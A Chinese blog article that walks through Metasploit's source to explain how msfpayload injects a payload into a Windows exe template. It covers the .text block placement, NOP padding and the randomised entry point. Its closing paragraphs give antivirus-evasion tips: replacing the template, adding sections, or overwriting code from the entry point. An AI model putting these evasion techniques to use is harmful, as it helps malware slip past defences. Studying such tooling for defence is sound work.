欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

Metasploit将payload生成exe文件的原理探讨

程序员文章站 2022-04-22 11:06:03
本周实验室聪哥带来自己研究metasploit的一些最新方法 metasploit提供的工具msfpayload和msfencode都支持将payload生成exe可执行文件的格式,但具体的...
本周实验室聪哥带来自己研究metasploit的一些最新方法

metasploit提供的工具msfpayload和msfencode都支持将payload生成exe可执行文件的格式,但具体的生成机制并没有文档说明,好在这些工具和库文件都是开源的,下面我们来一探究竟。

在msfpayload源码中可以看到,参数X支持生成exe格式文件:

 

def usage

     $stderr.puts("\n" +

      "    Usage: #{$0} [<options>] <payload> [var=val] <[S]ummary|  C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>\n" +

      $args.usage)

     exit

    end

而参数X的处理例程如下:

 

 if (cmd =~ /^x/)

          note =

               "Created by msfpayload (http://www.metasploit.com).\n" +

               "Payload: " + payload.refname + "\n" +

               " Length: " + buf.length.to_s + "\n" +

               "Options: " + options.inspect + "\n"

          arch = payload.arch

          plat = payload.platform.platforms

          exe  = Msf::Util::EXE.to_executable($framework, arch, plat, buf)

          if(!exe and plat.index(Msf::Module::Platform::Java))

               exe = payload.generate_jar.pack

          end

          if(exe)

               $stderr.puts(note)

               $stdout.write(exe)

               exit(0)

          end

          $stderr.puts "No executable format support for this arch/platform"

          exit(-1)

     end

主要是调用了Msf::Util::EXE库的to_executable方法,我们在这个库中找到相应的函数如下:

 

  def self.to_executable(framework, arch, plat, code='', opts={})

                if (arch.index(ARCH_X86))

                        if (plat.index(Msf::Module::Platform::Windows))

                                return to_win32pe(framework, code, opts)

                        end

                        ....

最终调用了to_win32pe函数,下面我们来看看这个函数的一些关键地方:

set_template_default(opts, “template_x86_windows.exe”)

这个函数设置了生成exe的模板文件的位置 跟踪这个函数发现模板文件使用的metasploit安装目录的msf3/data/templates/template_x86_windows.exe文件。鉴于生成的exe文件被杀得比较严重,这个模板文件多多少少也脱不了干系,我们可以找个”清白”的exe文件来替换这个模板,注意别改文件名。别外msfencode的-x选项支持自定义模板。

payload = win32_rwx_exec(code)

这个函数利用汇编代码调用win32 api VirtualAlloc申请了一片可读可写可执行的内存块,并将原始payload拷贝到这里,以支持msfencode里调用各种编码器对原始payload进行处理。

然后就是pe格式解析,获得模板文件的PE可执行段(.text),判断其大小,并将其地址保存到mines数组中:

 

 if(not text)

     raise RuntimeError, "No .text section found in the template"

     end

     if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)

       raise RuntimeError, "The .text section does not contain an entry point"

     end

     if(text.size < (payload.length + 256))

       raise RuntimeError, "The .text section is too small to be usable"

     end

 

     # Store some useful offsets

     off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)

     off_beg = pe.rva_to_file_offset(text.base_rva)

 

     # We need to make sure our injected code doesn't conflict with the

     # the data directories stored in .text (import, export, etc)

     mines = []

     pe.hdr.opt['DataDirectory'].each do |dir|

     next if dir.v['Size'] == 0

     next if not text.contains_rva?( dir.v['VirtualAddress'] )

     mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]

     end

将text段分割成连续的块,将payload保存到最大的块中:

 

 # Break the text segment into contiguous blocks

    blocks = []

    bidx   = 0

    mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|

         bbeg = bidx

         bend = mine[0]

         if(bbeg != bend)

              blocks << [bidx, bend-bidx]

         end

         bidx = mine[0] + mine[1]

    end

    # Add the ending block

    if(bidx < text.size - 1)

          blocks << [bidx, text.size - bidx]

    end

    # Find the largest contiguous block

    blocks.sort!{|a,b| b[1]<=>a[1]}

       block = blocks[0]

    # TODO: Allow the entry point in a different block

       if(payload.length + 256 > block[1])

            raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"

       end

    # Make a copy of the entire .text section

    data = text.read(0,text.size)

    # Pick a random offset to store the payload

    poff = rand(block[1] - payload.length - 256)

在其它块中生成大量的随机nops指令,随机生成pe的入口点,但需确保入口点在nops指令块中,在nops块的最后使用跳转指令跳转到payload地址执行。

 

    # Pad the entry point with random nops

    entry = generate_nops(framework, [ARCH_X86], rand(200)+51)

    ...

 

    # Relative jump from the end of the nops to the payload

    entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

最后是pe文件的构造,修改入口点为上面的入口点地址,修改时间戳,检验和等,并保存为exe文件。

归结起来,对模板文件的最大修改是将编码的payload保存到.text段中,生成nops指令和修改入口点,尤其是对入口点的随机修改有明显的人为痕迹,这种exe的生成方式已经被大部分杀软列入黑名单中。 有兴趣的读者可以这样生成不带任务payload的exe文件并上传到virustotal上进行验证:

echo -n | msfencode -e generic/none -t exe > myn.exe [*] generic/none succeeded with size 0 (iteration=1)

明白了原理,免杀就比较简单了,可以另外添加区段或不修改入口点直接将payload从入口点开始覆盖等,发挥你的聪明才智吧